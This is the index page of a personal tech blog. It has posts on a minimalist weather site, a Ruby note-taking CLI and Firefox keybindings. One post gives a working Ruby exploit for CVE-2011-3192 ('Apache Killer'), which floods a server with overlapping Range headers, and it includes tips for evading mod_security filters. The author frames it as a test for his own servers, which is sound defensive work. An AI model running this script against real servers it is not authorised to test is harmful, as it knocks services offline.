WE4THER.com — minimalist weather

I was sick of going to weather sites on my phone or anything else and having to hunt around for the search bar — why does it even need a search bar? You’re bombarded with pointless information and ads on other weather sites, and they don’t even detect your location even though it’s very simple to do so. To get weather for a different place, just use your URL bar and tell it what you’re looking for, like this:

http://we4ther.com/sfo
http://we4ther.com/90210
http://we4ther.com/dallas texas
http://we4ther.com/san diego, california
http://we4ther.com/tiger stadium michigan
http://we4ther.com/london

Some of the features that might not be immediately apparent:

  • Just going to the homepage should auto-detect your location and be what >90% of users are looking for
  • Page loads are a single HTTP request/response (gzipp’d)
  • Results load in under 1 second in most cases and use <1KB of bandwidth
  • Light on JS: No JS
  • Light on external resources: none
  • Inline CSS
  • Valid HTML5
  • Looks great on mobile browsers — so great that I don’t even need to make a separate mobile version

I hope you enjoy it. I’ll be publishing the source code soon — it’s 99 SLOC in Sinatra (including all of the HTML and CSS for the “templates”) and I probably won’t add any extra “features”.

Simple is beautiful.

Ten Crack[ing] Commandments

Warning: some of the text has swears. This is a parody of the late and great Notorious B.I.G.’s “Ten Crack Commandments”. After the break;;
Read more

Today, I Learned…

‘TIL’ is commonly used on the internet as shorthand for ‘Today, I Learned’, and it inspired me to make a little tool to keep track of things that I’ve learned. I can’t recall a day in recent memory where I didn’t learn something, no matter how seemingly insignificant. I think it would be interesting to keep track of these things over the course of a year or so, then go back and look through all the little bits of information that have been picked up along the way.

This is really a simple little CLI app, but it faithfully records whatever you have to say, across multiple lines and with (hopefully) whatever funky symbols you choose. It’ll also pick 3 of your old random entries and show them to you, to remind you of things you found interesting enough to write about in the past. Hopefully, it’ll surprise you some day and bring back some great memories. If nothing else, it’s a good way to prove to yourself that you do learn something every day.

Installation:
NOTE: Rubygems is broken right now so it’s not available as a Rubygem just yet…hang tight!

$> gem install clispell

Usage:

$> til
What did you learn today?  Press ^d (ctrl+d) when done.
You can pass fsck '-O -' to show a progress bar while it's running
=> Saved!
On 2011-09-06 23:18:53 -0400 you learned how to use Jeweler to release stuff again

On 2011-09-06 23:36:29 -0400 you learned You can pass fsck '-O -' to show a progress bar while it's running

On 2011-09-06 23:18:23 -0400 you learned eggs.

Clicky kitty:

CVE-2011-3192 (“Apache Killer”) Exploit in Ruby

Since I manage a metric *explitive*-ton of servers, the ApacheKiller vuln needed to get patched. A good mod_security rule or two can drop requests formed to exploit it (info after the break), but I wanted to make sure that modsec was actually catching these, so I wrote a little Ruby to help me out. I had to bust out Wireshark to analyse the HTTP HEAD request that the Perl proof-of-concept code was using, but it didn’t take long to figure out. I am fine with posting this here since the potential for abuse is low unless someone knows how to implement threading in Ruby, in which case this would be trivial to replicate anyway (plus the perl code already works fine for skript kiddies).

Notes:
- You need to pass in a valid URI, like http://localhost/ or whatever
- I fixed the number of ranges in the HTTP request because 1300 was too big for one request, and it’d just cause “bad request” errors.
- I fixed the lack of a “bytes=” prefix for all the ranges
- I added request-range in addition to just “range” to make it compatible with a wider range of httpds

Happy testing!

#!/usr/bin/env ruby

require 'net/http'
require 'uri'

# ensure that we're getting a first argument and that it's a valid URI
abort("You must specify a hostname as the first argument.") if ARGV.first.nil?
abort("Invalid URI") unless uri = URI.parse(ARGV.first)

# create our request object
req = Net::HTTP::Head.new(uri.request_uri)
http = Net::HTTP.new(uri.host, uri.port)

# set custom headers
# you might need to fiddle with these to get around your default modsec filters
req.delete("Accept")
req.delete("User-Agent")
#req.add_field("Pragma", "no-cache")
#req.add_field("connection", "close")
req.add_field("Host", uri.host)

# optional, add a valid User-Agent by uncommenting the line below.
# req.add_field('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2')

# add the custom range headers to our request object
# we're adding 1300 different ranges with offsets between 1 and 1300 just like the perl PoC

# need to start by saying "range: bytes="... before we add the rest. Same for request-range
req.add_field("range", "bytes=5-0")
req.add_field("request-range", "bytes=5-0")

500.times do
    req.add_field("range", "5-#{Random.rand(0..1300)}")
    req.add_field("request-range", "5-#{Random.rand(0..1300)}")
end

# get the response by making the request
# TODO: make this block easier to understand
res = http.request(req)

# print out our request and response
puts "Request: #{res.inspect}"
req.each do |key,value|
    puts "#{key}: #{value}"
end
puts "\n"
puts "Response: #{res.inspect}"
res.each do |key,value|
    puts "#{key}: #{value}"
end

Read more

Cisco Website Login Guest Account

Since Cisco has the worst compulsory registration I have ever seen, I’m posting an account you can use after the break. Warning: Username and password contain potentially offensive text.
Read more

Customize Firefox Keyboard Shortcuts

I’m a really big fan of CLI software, but sometimes you just need a GUI app, like a web browser (lynx would be so awesome if someone made a real-time image-to-ASCII-art converter plugin…I’ll work on that some day). I spend a lot of time in my gnome terminal (I use the awesome GNOME Shell) and the only keybinds I really need are:

  • Alt+Q – Previous Tab
  • Alt+W – Next Tab
  • Alt+Shift+Q – Move Tab Left
  • Alt+Shift+W – Move Tab Right

Using these, I feel every bit as efficient as when I used to use tiling WMs (I used to really like Awesome and wmii). However, Firefox lacks these shortcuts or the ability to customize them, and my fingers eventually got sick of the keyboard yoga required to tab around in Firefox (Ctrl+Tab / Ctrl+Shift+Tab by default). I knew there must be a better way, and I was right. The best part is that I didn’t even have to re-compile FF, which would have been ridiculous, but I’ve been known to do worse things in the name of making software work exactly like I need it to (one of the greatest parts of FOSS, IMO).

To pull off this hack, we’re going to grab the newest version of the KeyConfig Firefox extension. The version on the official Firefox add-ons site is a bit out of date and doesn’t work with FF6 properly. You might need to install Nightly Tester Tools and do the “override add-on compatibility” dance if you find that Firefox won’t let you install it.

Once you have that all set and have restarted Firefox, hit Ctrl+Shift+F12 to open up KeyConfig. We’re going to add two keys:

  1. name: Previous Tab, id: xxx_key1_Previous Tab, shortcut: Alt+Q, code:
    gBrowser.mTabContainer.advanceSelectedTab(-1, true);
    
  2. name: Previous Tab, id: xxx_key1_Next Tab, shortcut: Alt+W, code:
    gBrowser.mTabContainer.advanceSelectedTab(1, true);
    
  3. Then just apply and let dry. Try holding Alt and using “Q” or “W” to cycle through your tabs now! Amazing!

    If you want to mess with some different keys, you’ll probably want to dig through the latest browser2xul document and figure out what the actual code you need to pass to Firefox would be. Here is the one that I struck gold with. YMMV, and happy hacking!

Page 2 of 1612345...10...Last »